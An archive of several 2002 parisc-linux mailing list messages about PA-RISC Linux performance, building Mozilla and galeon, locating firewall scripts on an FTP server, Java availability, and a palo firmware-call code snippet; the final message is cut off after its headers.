From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance?
Date: Thu, 28 Mar 2002 17:10:56 +1100
Lines: 41
Approved: news@gmane.org
Message-ID: <20020328171056.H28130@piglet>
References: <20020326224358.B28171@piglet> <20020326154444.D26865@parcelfarce.linux.theplanet.co.uk> <20020327180626.C28130@piglet> <20020328000640.B12094@systemhalted>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621193 5399 80.91.229.3 (22 Nov 2014 01:53:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:13 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Peter Lavender <plaven@bigpond.net.au>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 27 23:11:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta04ps.bigpond.com (mta04ps.bigpond.com [144.135.25.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F22E482A
	for <parisc-linux@parisc-linux.org>; Wed, 27 Mar 2002 23:11:26 -0700 (MST)
Original-Received: from piglet.sspl.net.au ([144.135.25.81]) by
          mta04ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GTO6I600.80P; Thu, 28 Mar 2002 16:10:54 +1000 
Original-Received: from CPE-203-51-26-70.nsw.bigpond.net.au ([203.51.26.70]) by psmam05.mailsvc.email.bigpond.com(MailRouter V3.0i 101/5285); 28 Mar 2002 16:10:54
Original-Received: (from pete@localhost)
	by piglet.sspl.net.au (8.9.3/8.9.3) id RAA09208;
	Thu, 28 Mar 2002 17:10:56 +1100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020328000640.B12094@systemhalted>; from carlos@baldric.uwo.ca on Thu, Mar 28, 2002 at 12:06:40AM -0500
X-Operating-System: Linux/2.2.13 (i586)
X-Uptime: 8:05pm  up 21 days,  4:27,  9 users,  load average: 0.13, 0.06, 0.01
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14452

* Carlos O'Donell Jr. (carlos@baldric.uwo.ca) wrote:


> > The p90 system is an old stock install of redhat 6.0 with very little
> > done to the kernel.. it was recompiled with certain drivers built into
> > the kernel but that's about it.
> > 
> > [pete@piglet brad]$ g++ --version
> > egcs-2.91.66
> > 
> > The program is fairly simple in what it does.  
> >
> 
> This is the crux of the problem. IA32 glibc and kernel are sprinkled
> with copious amounts of hand tuned and optimized assembly. We are
> nowhere near that level yet :)
 
I thought that the i386 may hvae some performance tweaks in it, since
this is by far the most used platform for development.


> What is it that your program does?

Nothing special, it's just an exercise in programming.  It searches
for perfect numbers and then prints out the prime number in the list
of factors.

It's not very big, so if you want to take a look, I'll email it to
you..  :)


Regards,

Pete.

-- 
				Due to a lack of imagination, 
				this signature will remain 
				under construction indefinately.



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Date: Thu, 28 Mar 2002 00:02:07 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20020328070207.990A8482A@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com> <jeremyd@apptechsys.com> <20020326063217.50AB1482C@dsl2.external.hp.com>  <20020327220901.A315@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621193 5403 80.91.229.3 (22 Nov 2014 01:53:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 00:02:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 990A8482A
	for <parisc-linux@parisc-linux.org>; Thu, 28 Mar 2002 00:02:07 -0700 (MST)
In-Reply-To: Message from Andrew Shugg <andrew@neep.com.au> 
   of "Wed, 27 Mar 2002 22:09:05 +0800." <20020327220901.A315@neep.com.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14453

Andrew Shugg wrote:
> Grant, are you quite sure of that location?  I can't see a /patches/a500
> directory on the server, and didn't try dumping an ls -alR to look for
> it as it's not felt to be polite practise on FTP servers these days.

sorry - that should be kernels/a500/
or kernels/lxr8000/firewall is a newer version of the same thing.



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla, etc.
Date: Thu, 28 Mar 2002 09:20:32 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020328091648.02e70e40@pop.puretec.de>
References: <20020327151405.2397A482F@dsl2.external.hp.com> <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621194 5408 80.91.229.3 (22 Nov 2014 01:53:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:14 +0000 (UTC)
To: David Dougall <davidd@et.byu.edu>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 01:25:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from meg.hrz.tu-chemnitz.de (meg.hrz.tu-chemnitz.de [134.109.132.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65363482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Mar 2002 01:25:04 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by meg.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #3)
	id 16qVDS-0004FL-00; Thu, 28 Mar 2002 09:25:02 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16qVDS-0006r2-00; Thu, 28 Mar 2002 09:25:02 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
Original-References: <20020327151405.2397A482F@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14454

Hi,

>First of all, where is "zip"?  What package is it in?

try apt-get install unzip
then you can unzip *.zip files but the better way is to apt-get install=20
mozilla because it's much faster.
But it doesn't work at the moment because it breaks with an segmentation=
 fault.

>Is there another browser that would be
>better?  If so, please advise(or a binary download wouldn't hurt).

Dillo is nice but not perfect at the moment.
And if you have enough time or a powerful machine the you can use konqueror.

>PS: is there any hope of a jre on parisc-linux?

I hope so. I'm waiting for a jvm.

cya,
Tilo

|[ Tilo Jandt, K=F6rnerstra=DFe 8, D-09306 Rochlitz         ]|
|[ mailto:tilo@jandt-online.net ]  [ ICQ: 73832493              ]|
|[ Phone: +49 179 5333 255   ]  [ Fax: +49 3737 771478  ]|





From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@elvis.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla, etc.
Date: Thu, 28 Mar 2002 10:31:51 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020328093151.GA20881@elvis.franken.de>
References: <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu> <3CA2ADDB.4EE8AFA4@cisco.com>
Reply-To: tsbogend@alpha.franken.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621194 5412 80.91.229.3 (22 Nov 2014 01:53:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:14 +0000 (UTC)
Cc: David Dougall <davidd@et.byu.edu>,
	parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 02:32:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (dns.franken.de [193.175.24.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF580482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Mar 2002 02:32:01 -0700 (MST)
Original-Received: from tsbogend by elvis.franken.de with local (Exim 3.22 #1)
	id 16qWG7-0005Xg-00; Thu, 28 Mar 2002 10:31:51 +0100
Content-Disposition: inline
In-Reply-To: <3CA2ADDB.4EE8AFA4@cisco.com>
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14455

On Wed, Mar 27, 2002 at 09:44:59PM -0800, Christian Suder wrote:
> since rcently you can get the mozilla package with a simple "apt-get install
> mozilla", so there is no need to go through the excercise of compiling it
> yourself (and it takes several hours on older HW - been there). However it
> still doesn't run, as far as I know because the threads are still far from

to get it running, you need to recompile it with -O optimizing level. The
default -O2 miscompiles mozilla. Ok, this will give you a more sane mozilla,
but it's still not accepting some of the mouse/keyboard events. No idea
why. But there is galeon, which uses mozillas rendering engine, which (also
compiled with -O) gives me a working web browser.

Thomas.




From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Followup-To: gmane.linux.ports.hppa
Date: Thu, 28 Mar 2002 18:13:25 +0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20020328181323.A6833@neep.com.au>
References: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com> <jeremyd@apptechsys.com> <20020326063217.50AB1482C@dsl2.external.hp.com> <20020327220901.A315@neep.com.au> <andrew@neep.com.au> <20020328070207.990A8482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621194 5416 80.91.229.3 (22 Nov 2014 01:53:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 03:13:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 297F3482A
	for <parisc-linux@parisc-linux.org>; Thu, 28 Mar 2002 03:13:32 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id SAA06892
	for parisc-linux@parisc-linux.org; Thu, 28 Mar 2002 18:13:29 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020328070207.990A8482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Thu, Mar 28, 2002 at 12:02:07AM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14456

Quoth Grant Grundler:
> sorry - that should be kernels/a500/
> or kernels/lxr8000/firewall is a newer version of the same thing.

ncftp /kernels > dir */firewall
-r--r--r--   1 grundler ftpadmin       4912 Jan  2 05:57 a500/firewall
-rwxr-xr-x   1 grundler ftpadmin       5113 Mar 10 07:44 c3000/firewall


I assume you mean c3000/firewall ?

Thanks, always interested to see how other people approach firewalling.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla, etc.
Date: Thu, 28 Mar 2002 20:18:00 +0800
Lines: 38
Approved: news@gmane.org
Message-ID: <20020328201757.B6833@neep.com.au>
References: <20020327151405.2397A482F@dsl2.external.hp.com> <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621195 5421 80.91.229.3 (22 Nov 2014 01:53:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 05:18:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (ns1.au.network4.net [203.25.143.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8169E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Mar 2002 05:18:12 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id UAA07245
	for parisc-linux@lists.parisc-linux.org; Thu, 28 Mar 2002 20:18:02 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>; from davidd@et.byu.edu on Wed, Mar 27, 2002 at 09:27:11PM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14457

Quoth David Dougall:
> PS: is there any hope of a jre on parisc-linux?

I would say definitely, after this recent press release from the Apache
Software Foundation:

  http://www.apache.org/foundation/news.html

(linking to)

  http://www1.internetwire.com/iwire/release_html_b1?release_id=39838

"ASF reaches agreement with Sun Microsystems to allow open source Java
implementations."

What I _think_ this means (after reading through the full article) is
that we're going to see fully open, 100%-approved Java implementations
running natively in Linux and other alternative operating systems in the
near future.  I don't know what the current issues (if any) are with
building the jdk1.1 or jdk1.2 packages under linux-hppa, but I would
hope that following this announcement HP will (somehow) be able to
assist in getting a production-ready JRE into linux-hppa.

(Caveat: I could have this all wrong of course.)

Once HPUX binary compatibility is working properly the HPUX JRE could
probably be used as well, but if there's a comparable native solution I
don't know if many people will go to that effort.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mozilla, etc.
Date: Thu, 28 Mar 2002 17:13:56 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020328171235.02e71248@pop.puretec.de>
References: <3CA2ADDB.4EE8AFA4@cisco.com>
 <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
 <3CA2ADDB.4EE8AFA4@cisco.com> <20020328093151.GA20881@elvis.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621195 5423 80.91.229.3 (22 Nov 2014 01:53:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:15 +0000 (UTC)
Cc: David Dougall <davidd@et.byu.edu>,
	parisc-linux@lists.parisc-linux.org
To: tsbogend@alpha.franken.de, Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 09:18:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tom.hrz.tu-chemnitz.de (tom.hrz.tu-chemnitz.de [134.109.132.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04F99482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Mar 2002 09:18:23 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by tom.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #3)
	id 16qcbV-0001fv-00; Thu, 28 Mar 2002 17:18:21 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16qcbU-0001p1-00; Thu, 28 Mar 2002 17:18:20 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <20020328093151.GA20881@elvis.franken.de>
Original-References: <3CA2ADDB.4EE8AFA4@cisco.com>
 <Pine.LNX.4.33.0203272123310.1463-100000@lewis.et.byu.edu>
 <3CA2ADDB.4EE8AFA4@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14458


>to get it running, you need to recompile it with -O optimizing level.

how do you recompile it?

>But there is galeon, which uses mozillas rendering engine, which (also
>compiled with -O) gives me a working web browser.

since the upgrade to mozilla 0.9.9 i can't use galeon any more.

cya,
Tilo

|[ Tilo Jandt, K=F6rnerstra=DFe 8, D-09306 Rochlitz         ]|
|[ mailto:tilo@jandt-online.net ]  [ ICQ: 73832493              ]|
|[ Phone: +49 179 5333 255   ]  [ Fax: +49 3737 771478  ]|





From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump: need disk layout function.
Date: Thu, 28 Mar 2002 10:00:30 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020328170030.C4CA9482A@dsl2.external.hp.com>
References: <3CA01EB4.52B5F416@admin.france.hp.com>  <20020326072141.E22220@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621195 5426 80.91.229.3 (22 Nov 2014 01:53:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:15 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 10:00:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C4CA9482A; Thu, 28 Mar 2002 10:00:30 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Tue, 26 Mar 2002 07:21:41 GMT." <20020326072141.E22220@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14459

Matthew Wilcox wrote:
> How can a disc have HPA and SPA?  Are you trying to find the HPA/SPA of
> the disc's controller?

I thought the boot and dump devices have a faked HPA for IODC.
The code in palo/ipl/pdc_misc.c looks like it:

int
pdc_iodc_bootin(unsigned devaddr, char *memaddr, unsigned size)
{
    int r;

        r = firmware_call(PAGE0->mem_boot.iodc_io,
			PAGE0->mem_boot.hpa, ENTRY_IO_BOOTIN,
			PAGE0->mem_boot.spa, PAGE0->mem_boot.dp.layers,
			pdc_result, devaddr, memaddr, size, size);
....




From - Thu Nov 08 21:22:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Date: Thu, 28 Mar 2002 10:17:20 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20020328171720.8DC24482A@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com> <jeremyd@apptechsys.com> <20020326063217.50AB1482C@dsl2.external.hp.com> <20020327220901.A315@neep.com.au> <andrew@neep.com.au> <20020328070207.990A8482A@dsl2.external.hp.com>  <20020328181323.A6833@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621196 5434 80.91.229.3 (22 Nov 2014 01:53:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 28 10:17:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DC24482A
	for <parisc-linux@parisc-linux.org>; Thu, 28 Mar 2002 10:17:20 -0700 (MST)
In-Reply-To: Message from Andrew Shugg <andrew@neep.com.au> 
   of "Thu, 28 Mar 2002 18:13:25 +0800." <20020328181323.A6833@neep.com.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
